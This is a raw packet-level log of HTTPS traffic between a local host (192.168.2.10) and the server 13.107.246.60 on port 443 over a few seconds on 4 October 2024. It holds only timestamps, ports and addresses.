Oct 4, 2024 15:54:02.949229956 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.949949980 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.950768948 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.950799942 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:02.951226950 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:02.951232910 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.026752949 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.027216911 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.027230024 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.027713060 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.027718067 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.065660954 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.066046000 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.066103935 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.066127062 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.066173077 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.066356897 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.066369057 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.066378117 CEST	49892	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.066385984 CEST	443	49892	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.069590092 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.069638968 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.069708109 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.069875956 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.069889069 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.070626020 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.070683956 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.071122885 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.071156025 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.071172953 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.071185112 CEST	49893	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.071191072 CEST	443	49893	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.073077917 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.073093891 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.073162079 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.073266983 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.073275089 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.130825043 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.131937981 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.132029057 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.132075071 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.132093906 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.132114887 CEST	49894	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.132119894 CEST	443	49894	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.134763956 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.134795904 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.134851933 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.135299921 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.135313034 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.338135958 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.339575052 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.339596987 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.340167999 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.340173960 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.443893909 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.443985939 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.444056034 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.451548100 CEST	49895	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.451564074 CEST	443	49895	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.619554996 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.621200085 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.621233940 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.621296883 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.622071028 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.622092962 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.622498989 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.622503042 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.622823000 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.622837067 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.730086088 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.730699062 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.733556032 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.734797955 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.734814882 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.734824896 CEST	49896	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.734829903 CEST	443	49896	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.739365101 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.741197109 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.741235018 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.741672993 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.742027044 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.742038012 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.742463112 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.742469072 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.743079901 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.743093967 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.769392967 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.772991896 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.773010969 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.773437023 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.773442984 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.804147959 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.819199085 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.819237947 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.820261955 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.820269108 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.845320940 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.845458984 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.845798016 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.847704887 CEST	49897	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.847713947 CEST	443	49897	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.851224899 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.851255894 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.851313114 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.851824999 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.851840019 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.880954981 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.881351948 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.881407022 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.881421089 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.881470919 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.881557941 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.882169962 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.882180929 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.882194042 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.882198095 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.889134884 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.889161110 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.889379025 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.889452934 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.889457941 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.921832085 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.921896935 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.921957970 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.922137976 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.922152042 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.922162056 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.922167063 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.924741983 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.924782038 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:03.924843073 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.925127983 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:03.925141096 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.256553888 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.257190943 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.257213116 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.257545948 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.257551908 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.354512930 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.354865074 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.354938984 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.355009079 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.359405041 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.361819983 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.361819983 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.361831903 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.361840963 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.364901066 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.364942074 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.365017891 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.365148067 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.365168095 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.415955067 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.416914940 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.416951895 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.417383909 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.417391062 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.521790028 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.522360086 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.522383928 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.522880077 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.522885084 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.525506020 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.525599003 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.525641918 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.525904894 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.525918961 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.525945902 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.525952101 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.528637886 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.528678894 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.528743029 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.530659914 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.530674934 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.556170940 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.557275057 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.557275057 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.557284117 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.557296991 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.588246107 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.588836908 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.588852882 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.589329004 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.589334011 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.623728991 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.623912096 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.624011993 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.624027967 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.624053001 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.624105930 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.624151945 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.624161005 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.624174118 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.624178886 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.627012968 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.627053022 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.627151012 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.627330065 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.627341032 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.664565086 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.664654970 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.664767981 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.665024042 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.665024042 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.665031910 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.665040016 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.671231031 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.671271086 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.671344042 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.671896935 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.671910048 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.705909967 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.705945015 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.705995083 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.706022978 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709400892 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709400892 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709400892 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709460020 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709500074 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.709681988 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709840059 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.709856033 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:04.926361084 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:04.926407099 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.026849031 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.028053999 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.028070927 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.028520107 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.028527021 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.136404991 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.136524916 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.136569977 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.137856960 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.137872934 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.137897015 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.137902021 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.142369986 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.142410040 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.142482042 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.143160105 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.143176079 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.166819096 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.167531967 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.167548895 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.168207884 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.168214083 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.265698910 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.265763044 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.265821934 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.265844107 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.266283989 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.266295910 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.266304970 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.266417980 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.266530991 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.267333031 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.269467115 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.269507885 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.269577026 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.269859076 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.269872904 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.271946907 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.272434950 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.272463083 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.272917986 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.272924900 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.391422033 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.392291069 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.392318010 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.392765045 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.392771006 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.414829969 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.415752888 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.415764093 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.416239977 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.416244984 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.426386118 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.426413059 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.426498890 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.426512003 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.426764011 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.426769018 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.426783085 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.426808119 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.429946899 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.429986000 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.430211067 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.430413961 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.430439949 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.498887062 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.499231100 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.499269962 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.499310017 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.499367952 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.499663115 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.499682903 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.499694109 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.499700069 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.503323078 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.503357887 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.504929066 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.504929066 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.504966974 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.523411989 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.523539066 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.524187088 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.524219036 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.524230003 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.524250031 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.524255037 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.527337074 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.527381897 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.527781010 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.528186083 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.528203964 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.813827991 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.814917088 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.814917088 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.814930916 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.814943075 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.913404942 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.913439989 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.913492918 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.913535118 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.913835049 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.913835049 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.913850069 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.913861036 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.917251110 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.917280912 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:05.917412043 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:05.917635918 CEST	49915	443	192.168.2.10	13.107.246.60
